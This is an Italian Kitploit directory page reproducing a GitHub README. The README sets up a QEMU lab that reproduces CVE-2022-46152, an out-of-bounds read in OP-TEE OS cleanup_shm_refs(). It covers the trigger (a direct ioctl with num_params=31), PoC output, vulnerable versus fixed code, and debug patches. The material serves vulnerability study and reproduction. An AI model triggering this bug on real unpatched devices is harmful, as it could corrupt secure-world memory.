Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-46152 — CVE-2022-46152: validazione impropria dell'indice di array nella funzione `cleanup_shm_refs'. | Kitploit
Strumenti/GitHubGitHub/0xbbdd/cve-2022-46152
Sicurezza Sistemi EmbeddedAnalisi delle VulnerabilitàExploitFuzzingCTFApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHub0xbbdd/cve-2022-46152

CVE-2022-46152

CVE-2022-46152: validazione impropria dell'indice di array nella funzione `cleanup_shm_refs'.

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-46152

OP-TEE OS cleanup_shm_refs() Lettura fuori dai limiti — Ambiente di riproduzione

Riferimento: https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8
Advisory di sicurezza: https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7


Panoramica della vulnerabilità

CampoDettagli
Vulnerabilitàcleanup_shm_refs() non convalida num_params (teoricamente fino a 127; limitato a 31 in pratica dall'ioctl Linux TEE TEE_MAX_ARG_SIZE=1024), mentre saved_attr[] ha solo 4 elementi
Versioni affetteOP-TEE OS < 3.19.0
Condizione di attivazioneIl Mondo Normale invia una richiesta INVOKE con num_params=31 tramite ioctl diretto (bypassando il limite di 4 parametri di libteec)
ImpattoLettura fuori dai limiti dei dati dello stack del mondo sicuro; se un valore residuo nello stack corrisponde a un tipo TMEM, viene attivato un Use-After-Free
Fixcleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), ...) (commit 728616b)

Struttura delle directory

root@kitploit:~
CVE-2022-46152/
├── README.md                           # Questo file (Inglese)
├── README.zh.md                        # Versione cinese
├── setup.sh                            # Setup ambientale con un comando
├── run_qemu.sh                         # Avvia QEMU
├── exploit.sh                          # Script di riproduzione automatica/manuale
├── cve-2022-46152-oob-emsg.patch       # Patch di debug per OP-TEE OS (entry_std.c OOB EMSG)
├── qemu-pflash-suppress-unimp-log.patch # Patch QEMU (sopprime log rumore pflash_write)
├── poc/
│   ├── cve_2022_46152.c               # Sorgente PoC exploit (ioctl diretto bypassando libteec)
│   └── Makefile                       # Makefile per cross-compilazione
├── docs/
│   └── vulnerability_analysis.md      # Analisi tecnica dettagliata della vulnerabilità
└── optee/                             # Ambiente OP-TEE (creato da setup.sh)
    ├── optee_os/                      # OP-TEE OS 3.18.0 (versione vulnerabile)
    ├── build/                         # Sistema di build (qemu_v8.mk)
    ├── linux/                         # Kernel Linux
    ├── buildroot/                     # Buildroot rootfs
    ├── trusted-firmware-a/            # TF-A v2.6
    ├── qemu/                          # QEMU v7.0.0 (sorgente)
    └── out/bin/                       # Artefatti di build
        ├── bl1.bin                    # TF-A BL1
        ├── Image                      # Immagine kernel Linux
        └── rootfs.cpio.gz             # rootfs contenente il PoC

Avvio rapido

1. Prerequisiti

root@kitploit:~
# Ubuntu/Debian
sudo apt-get install -y \
    repo git make python3 \
    aarch64-linux-gnu-gcc \
    device-tree-compiler \
    libglib2.0-dev libpixman-1-dev \
    netcat-openbsd expect

# Verifica
aarch64-linux-gnu-gcc --version
repo --version

2. Inizializza repo (seguendo la documentazione ufficiale)

root@kitploit:~
cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..

Nota: Usa il tag 3.18.0. Questa versione contiene la vulnerabilità CVE-2022-46152 e non ha ancora ricevuto il fix.

3. Setup e build con un comando (30–60 minuti)

root@kitploit:~
./setup.sh

Questo script:

  • Esegue repo sync per ottenere tutto il codice sorgente
  • Configura la toolchain (salta il download se optee/toolchains/ esiste già, altrimenti scarica automaticamente)
  • Esegue make all per compilare TF-A, OP-TEE OS 3.18.0, Linux e Buildroot
  • Cross-compila il PoC exploit e lo inietta nel rootfs

4. Avvia l'ambiente QEMU

root@kitploit:~
# Apri tre terminali:

# Terminale 1 — Avvia QEMU:
./run_qemu.sh --no-gdb

# Terminale 2 — Console del Mondo Normale (eseguire dopo che run_qemu.sh è partito):
python3 optee/build/soc_term.py 54320

# Terminale 3 — Mondo Sicuro (log OP-TEE, eseguire dopo che run_qemu.sh è partito):
python3 optee/build/soc_term.py 54321

Nota: run_qemu.sh internamente avvia soc_term.py in modalità server in ascolto su 54320/54321, con QEMU che si connette come client. I comandi sopra sono esempi per connettersi a un'istanza in esecuzione e generalmente non devono essere eseguiti manualmente.

5. Riproduci la vulnerabilità

root@kitploit:~
# Nel terminale del Mondo Normale (54320), dopo la comparsa del prompt di login:
(none) login: root

# Esegui il PoC
/root/cve_2022_46152

Output previsto

Mondo Normale (console Linux)

root@kitploit:~
=== CVE-2022-46152 PoC Exploit ===
OP-TEE cleanup_shm_refs() Out-of-Bounds Read
Affected: OP-TEE OS < 3.19.0

[+] Opened /dev/tee0
[*] Opening session to Hello World TA...
[+] Session opened: id=2
[*] Triggering vulnerability: invoking with num_params=31
[*] saved_attr[] has only 4 slots -> reading 27 extra stack words OOB
[*] Buffer size: 1016 bytes (TEE_MAX_ARG_SIZE limit: 1024)
[+] ioctl returned: ret=0xffff0006 origin=0x3

[+] VULNERABILITY TRIGGERED!
[+] TEE returned TEE_ERROR_BAD_PARAMETERS (0xFFFF0006)
[+] entry_invoke_command() rejected num_params=31,
[+] but cleanup_shm_refs(31, saved_attr[4], ...) ran OOB!
[*] Check the Secure World UART (port 54321) for crash details.

[*] Done. Check secure world UART output for OOB/abort evidence.

Nota: TEE_MAX_ARG_SIZE=1024 limita una singola ioctl a 31 parametri al massimo (libteec si ferma a 4). Anche così, num_params=31 è sufficiente per attivare la lettura fuori dai limiti (legge saved_attr[4..30], 27 elementi fuori dai limiti).

Mondo Sicuro (log OP-TEE TEE Core)

root@kitploit:~
I/TC: OP-TEE version: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!

La riga di avviso E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! è un log esplicito aggiunto a entry_std.c tramite la patch cve-2022-46152-oob-emsg.patch per confermare il percorso di attivazione della vulnerabilità. cleanup_shm_refs legge 27 elementi extra fuori dai limiti dallo stack; se un valore residuo dello stack corrisponde a un tipo TMEM, può essere attivato un Use-After-Free tramite mobj_put().


Codice vulnerabile vs. codice corretto

Versione vulnerabile (3.18.0)

root@kitploit:~
/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
    uint32_t saved_attr[TEE_NUM_PARAMS];   /* solo 4 slot! */
    ...
    res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
    if (res != TEE_SUCCESS) {
        /* ❌ BUG: num_params può essere 127, lettura OOB di saved_attr[4..126] */
        cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
        goto out;
    }
    ...
}

Versione corretta (3.19.0, commit 728616b)

root@kitploit:~
    if (res != TEE_SUCCESS) {
        /* ✅ FIX: MIN(4, 127) = 4, non più fuori dai limiti */
        cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
        goto out;
    }

Riferimento rapido ai comandi

root@kitploit:~
# Imposta l'ambiente
./setup.sh

# Avvia QEMU (con porta debug GDB)
./run_qemu.sh

# Avvia QEMU (senza attendere GDB)
./run_qemu.sh --no-gdb

# Mostra i passaggi di riproduzione manuale
./exploit.sh --manual

# Riproduzione automatica (nessun terminale aggiuntivo necessario, output nella shell corrente)
./exploit.sh

# Connetti alla console del Mondo Normale (dopo che run_qemu.sh è partito)
python3 optee/build/soc_term.py 54320

# Connetti al log del Mondo Sicuro (dopo che run_qemu.sh è partito)
python3 optee/build/soc_term.py 54321

# Debug di OP-TEE OS con GDB
aarch64-linux-gnu-gdb optee/optee_os/out/arm/core/tee.elf
(gdb) target remote localhost:1234
(gdb) c

Note sulla patch QEMU

Questo repository applica la patch qemu-pflash-suppress-unimp-log.patch sopra QEMU v7.0.0 per eliminare il seguente output rumoroso durante l'esecuzione della VM:

root@kitploit:~
pflash_write: Write to buffer emulation is flawed

Causa principale

pflash_write() in hw/block/pflash_cfi01.c chiama qemu_log_mask(LOG_UNIMP, ...) quando gestisce il comando CFI pflash 0xe8 (Write to buffer), registrando un avviso "unimplemented". Il firmware TF-A scrive su pflash durante l'avvio, attivando questo percorso e stampando il messaggio a ogni avvio.

Contenuto della patch (hw/block/pflash_cfi01.c)

Rimuove la chiamata qemu_log_mask(LOG_UNIMP, ...) all'interno del ramo case 0xe8 lasciando intatta la logica funzionale.

Applicare la patch (opzionale; già integrata in optee/qemu/)

root@kitploit:~
cd optee/qemu
git apply ../../qemu-pflash-suppress-unimp-log.patch
cd build
make -j$(nproc) qemu-system-aarch64

Note sulla patch di OP-TEE OS

Questo repository applica una patch di debug cve-2022-46152-oob-emsg.patch sopra OP-TEE OS 3.18.0 in modo che un avviso esplicito venga stampato sulla UART del Mondo Sicuro quando la vulnerabilità viene attivata, semplificando la verifica della riproduzione.

Contenuto della patch (core/tee/entry_std.c)

  • Aggiunge #include <trace.h>
  • In entry_invoke_command(), rileva num_params > TEE_NUM_PARAMS prima della chiamata cleanup_shm_refs() e stampa CVE-2022-46152: OOB! cleanup_shm_refs num_params=N > TEE_NUM_PARAMS=4 tramite EMSG()

⚠️ Questa patch è solo per debug/dimostrazione e non è un fix di sicurezza. Il vero fix è nel commit 728616b.

Applicare la patch (opzionale; già integrata in optee/optee_os/)

root@kitploit:~
cd optee/optee_os
git apply ../../cve-2022-46152-oob-emsg.patch
cd ../../
make -C optee/build optee-os

Riferimenti

  • Documentazione ufficiale OP-TEE QEMU v8
  • GHSA-65w8-6mrg-52g7 Advisory di sicurezza
  • Commit di fix 728616b
  • CVE-2022-46152 NVD
  • Repository manifest di OP-TEE
Scarica lo strumento